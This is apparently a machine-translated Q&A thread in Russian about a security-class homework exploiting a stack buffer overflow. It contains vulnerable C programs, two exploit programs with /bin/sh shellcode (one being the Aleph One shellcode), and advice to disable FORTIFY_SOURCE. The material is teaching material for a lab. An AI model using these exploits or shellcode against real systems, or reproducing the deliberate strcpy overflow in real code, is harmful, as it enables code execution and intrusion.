Переполнение буфера как homeowrk

Все еще изучая этот материал переполнения буфера для класса безопасности, я пытаюсь использовать уязвимость в этом приложении:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
     char buffer[12];

     //BO Vulnerability
     strcpy(buffer,str);

     return 1;
}

int main(int argc, char* argv[])
{
     char str[517];

     FILE *badfile;
         badfile = fopen("badfile","r");

     fread(str, sizeof(char),517, badfile);
     bof(str);

     printf("Returned Properly\n");
     return 1;
}

Используя это эксплойт-приложение:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
    char buffer[517];
    char large_string[512];
    FILE *badfile;
        badfile = fopen("./badfile", "w");

    //NOPslide
    memset(&buffer,0x90,517);

    //BEGIN FILL BUFFER
         //from stack_smashing.pdf
    long *long_ptr = (long *) large_string;

    int i;
    for (i = 0; i < 128; i++) 
        *(long_ptr + i) = (int) buffer;

    for (i = 100; i < strlen(code)+100; i++) 
        large_string[i] = code[i];

    strcpy(buffer,large_string);
    //END FILL BUFFER

    //save buffer to badfile
    fwrite(buffer,517,1,badfile);
    fclose(badfile);

    return 0;
}

По какой-то причине, когда я создаю плохой файл с помощью эксплойта, он ничего не выдвигает. Либо буфер пуст, либо записывается неправильно. Кажется, я не могу найти свою ошибку, и после неустанного поиска в Google я не смог найти достаточного ответа. Исходя из моего понимания кода Fill Buffer, который я использовал, это должно заполнить long_string адресом моего буфера, затем поместить мой шелл-код в начало long_string (после небольшого слайда NOOP) и затем скопировать long_string обратно в буфер. Я не вижу никаких проблем с этим или с fwrite. Предложения?

3 ответа

Решение

Ну, вам нужно понять, что на самом деле делает разбивание стека. Он в основном разбивает много значений и перезаписывает определенный адрес, который в основном является адресом указателя возврата в стеке ($ebp + 4). Вы определенно пытаетесь разбить стек, но есть множество вещей, которые вы должны сделать, чтобы точно понять, какой адрес вам нужно переопределить другим адресом, который указывает на ваш шелл-код.

http://www.phrack.com/issues.html?issue=49&id=14

В настоящее время у вас нет работы ни одной из этих двух вещей.

Вы должны использовать gdb или другой инструмент для просмотра кода сборки фактического уязвимого кода и просмотра адреса возврата. Исходя из этого, вы пытаетесь разбить стек с помощью командной строки.

Затем вы запускаете свой код эксплойта, не разбивая стек. Попытайтесь захватить фактический адрес возврата, который вы должны указывать на место, где вы устанавливаете свой шелл-код.

Вы должны следовать чтению на phrack, чтобы понять концепцию разрушения стека. Надеюсь, это поможет!

strcpy(buffer,large_string);

Одной из вещей, которую вы должны будете рассмотреть во время тестирования, является вызов этой функции.

FORTIFY_SOURCE использует "более безопасные" варианты функций высокого риска, такие как memcpy а также strcpy, Компилятор использует более безопасные варианты, когда он может определить размер буфера назначения. Если копия превысит размер буфера назначения, то программа вызывает abort(),

Чтобы отключить FORTIFY_SOURCE для вашего тестирования, вы должны скомпилировать программу с -U_FORTIFY_SOURCE или же -D_FORTIFY_SOURCE=0,

Есть одна очень важная вещь, которую вы упускаете в своем коде. Я позволю вам найти это самостоятельно, но я, вероятно, помогу вам, посмотрев на очень простую проблему переполнения буфера, которую я решил некоторое время назад.

Считайте, что это целевой код с уязвимостью - легким переполнением буфера.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int foo(char *arg)
{
  char buf[200];
  strcpy(buf, arg);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target1: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv[1]);
  return 0;
}

Ниже приведен код эксплойта:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
    char arg1[215] = "";
    memset(arg1,'\x90', 215);
    memcpy(arg1,shellcode,45);

    //0xbffffd78
    //0xbffffcb8

    arg1[212] = '\x88';
    arg1[213] = '\xfc';
    arg1[214] = '\xff';
    arg1[215] = '\xbf';
    char *args[] = { TARGET, arg1, NULL };
    char *env[] = { NULL };

    if (0 > execve(TARGET, args, env))
        fprintf(stderr, "execve failed.\n");

    return 0;
}

Посмотрите, как я определяю свою цель и использую ее.

Кроме того, я раньше видел этот шелл-код. Я использую один в следующем (Phrack):

/*
 * Aleph One shellcode.
 */
static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

Проверьте это с помощью своего кода и дайте мне знать, если это работает.

ТАКЖЕ:

strcpy(buffer,large_string);

Написание этого - плохая практика, независимо от того, принимаете ли вы large_string от stdin или нет.

Другие вопросы по тегам